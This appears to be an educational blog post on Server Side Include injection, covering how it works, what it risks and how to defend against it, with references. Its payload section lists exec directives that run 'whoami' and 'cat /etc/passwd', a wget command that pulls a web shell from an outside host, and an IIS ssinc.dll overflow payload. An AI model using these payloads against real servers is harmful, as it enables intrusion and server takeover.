**INTRODUCTION**

The aim of this study is improve knowledge about Server Side Include (SSI) Injection Vulnerability.

**DETAILS**

**What is** **Server Side Include Injection Vulnerability?**

SSI (Server-side Include) injection is a server-side exploit that enables an attacker to inject code into a web application/server and execute it upon the next page load, locally, by the webserver. As is so often the case with injection attacks, without proper validation of user input, the server will execute the malicious code when the time comes, and the attack will be successful.

What are Server-side includes (SSIs)?

SSIs are directives found within a web application’s HTML code and are used to provide an HTML page with dynamic content. Take, for example, a web application that contains multiple pages, with each one needing a different header or footer. Rather than code for each of these manually, one can include SSIs in the HTML to dynamically inject the required content into each page.

SSIs are used to execute certain actions before the current page is loaded or while it’s being viewed. The web server scans the HTML for SSI directives and runs them in sequence before displaying the page to the user.

\*\*\*SSI has a simple syntax: **<! --#directive parameter=value parameter=value -->**. Directives are typically placed inside HTML comments so that unless SSI is enabled on the server, users do not see the SSI directives on the page without looking at its source.

Examples of SSI injections

Below are some simple examples of SSIs. SSIs all use “#” directives.

**Display the appropriate header on a specific page**

<! –-#include virtual=“/header.html” —>

**Display the date on a specific page**

<! --#echo var=“DATE\_LOCAL” —>

SSI directives can also execute shell commands and access, alter, add, or delete files on the server.

SSI Injection exploits a web application’s failure to sanitize user-supplied input before inserting the data into a server-side HTML file (think web form or login page). A vulnerable web application will execute the user-supplied input and display the result onto the page in question the next time it loads. With malicious input, this could result in the web server executing ssh commands on behalf of the attacker, which can lead to the server displaying extremely sensitive files, like /etc/passwd, among many other undesirable outcomes.

Examples of the above would be:

* <! –-#exec cmd=“whoami” —>
* <! –-#exec cmd=“cat /etc/passwd” —>

How does SSI injection work?

1. First step is to examine that if application is properly validating the operators used by SSI which are: < ! # = / . “ → and [a-zA-Z0–9]
2. The next step that needs to be check if the server hosts any pages with the **.stm, .shtm, or .shmtl.** Remember that it is also possible to support SSI without server that having these pages. But if these pages present, that means server is supporting SSI

Once the attacker has determined that the web application is vulnerable, they can move on to carrying out the attack

The attacker could start by injecting innocuous SSI commands at first to make sure everything is working correctly. They could send the following command:

<! –-#echo var=“DATE\_LOCAL” —>

If the server responds with the local time and date, the attacker now knows that the server is exploitable and can start sending malicious SSI commands to the server.

Here Are Some SSI Injection Payloads

**Example 1**

The commands used to inject SSI vary according to the server operational system in use. The following commands represent the syntax that should be used to execute OS commands.

**Linux:**

*List files of directory:*

<!--#exec cmd="ls" -->

*Access directories:*

<!--#exec cmd="cd /root/dir/">

*Execution script:*

<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

**Windows:**

*List files of directory:*

<!--#exec cmd="dir" -->

*Access directories:*

<!--#exec cmd="cd C:\admin\dir">

**Example 2**

Other SSI examples that can be used to access and set server information:

*To change the error message output:*

<!--#config errmsg="File not found, informs users and password"-->

*To show current document filename:*

<!--#echo var="DOCUMENT\_NAME" -->

*To show virtual path and filename:*

<!--#echo var="DOCUMENT\_URI" -->

*Using the “config” command and “timefmt” parameter, it is possible to control the date and time output format:*

<!--#config timefmt="A %B %d %Y %r"-->

*Using the “fsize” command, it is possible to print the size of selected file:*

<!--#fsize file="ssi.shtml" -->

**Example 3**

An old vulnerability in the IIS versions 4.0 and 5.0 allows an attacker to obtain system privileges through a buffer overflow failure in a dynamic link library (ssinc.dll). The “ssinc.dll” is used to interpreter process Server-Side Includes. [CVE 2001-0506](https://nvd.nist.gov/vuln/detail/CVE-2001-0506).

By creating a malicious page containing the SSI code bellow and forcing the application to load this page ( Path Traversal attack), it’s possible to perform this attack:

*ssi\_over.shtml*

<!--#include file=”UUUUUUUU...UU”-->

*PS: The number of “U” needs to be longer than 2049.*

*Forcing application to load the ssi\_over.shtml page:*

*Non-malicious URL:*

www.vulnerablesite.org/index.asp?page=news.asp

*Malicious URL:*

www.vulnerablesite.org/index.asp?page=www.malicioussite.com/ssi\_over.shtml

If the IIS return a blank page it indicates that an overflow has occurred. In this case, the attacker might manipulate the procedure flow and executes arbitrary code.

Risks of SSI injection

A successful SSI injection attack could lead to anything from unauthorized access to resources to file uploads/downloads/alterations/corruption. SSI injection attacks can also lead to denial of service attacks and even complete server takeover if the attacker is able to access admin credentials.

However, though the attack could be devastating, server-side includes are rarely used in web development today. Today’s web developers tend to rely on other technical means to incorporate dynamic content into their web pages. Things like JavaScript and AJAX are more commonly used for dynamic content today without opening the door to SSI injection attacks.

Still, while SSI is much less prevalent today than in the 1990s, you’ll nonetheless be able to find some sites that use SSI.

How to defend against SSI injection attacks?

**Don’t use SSI**

The first and best way to avoid SSI injection attacks is to simply not use server-side includes as you build a website. It’s possible to load dynamic content into web pages using other means, such as JavaScript and AJAX. These alternatives should be prioritized over SSI.

**Don’t mix user input and SSI pages**

If you must use SSI, you should avoid incorporating user-controllable data into pages processed for SSI directives. That will at least lower the odds of a successful SSI attack.

**Avoid using .stm, .shtm, and .shtml pages**

It is possible to configure SSI for .htm, .html pages. Although it’s the “standard,” we can incorporate SSI into our site without using pages with .stm, .shtm, and .shtml extensions. These pages make it easier for an attacker to determine that the server is vulnerable to SSI injection.

**Validate user input**

If we still need to use SSI but won’t be using .stm, .shtm, or .shtml pages. It is okay but not enough. We still need to deal with the fact that we are allowing user input onto our site. We should always consider that input as untrusted. We want to validate all user input against a list of allowed strings or characters. And remember to always validate user input server-side even if the input was previously validated on the client-side. If, for example, our site provides a form for users to log in, that field should only accept the characters present in a username and nothing else.

**REFERENCES**

[**https://www.comparitech.com/blog/information-security/ssi-injection-attacks/**](https://www.comparitech.com/blog/information-security/ssi-injection-attacks/)

[**https://owasp.org/www-community/attacks/Server-Side\_Includes\_(SSI)\_Injection**](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection)

[**https://crashtest-security.com/server-side-includes/**](https://crashtest-security.com/server-side-includes/)

[**https://psychovik.medium.com/ssi-server-side-include-injection-8b69289aece7**](https://psychovik.medium.com/ssi-server-side-include-injection-8b69289aece7)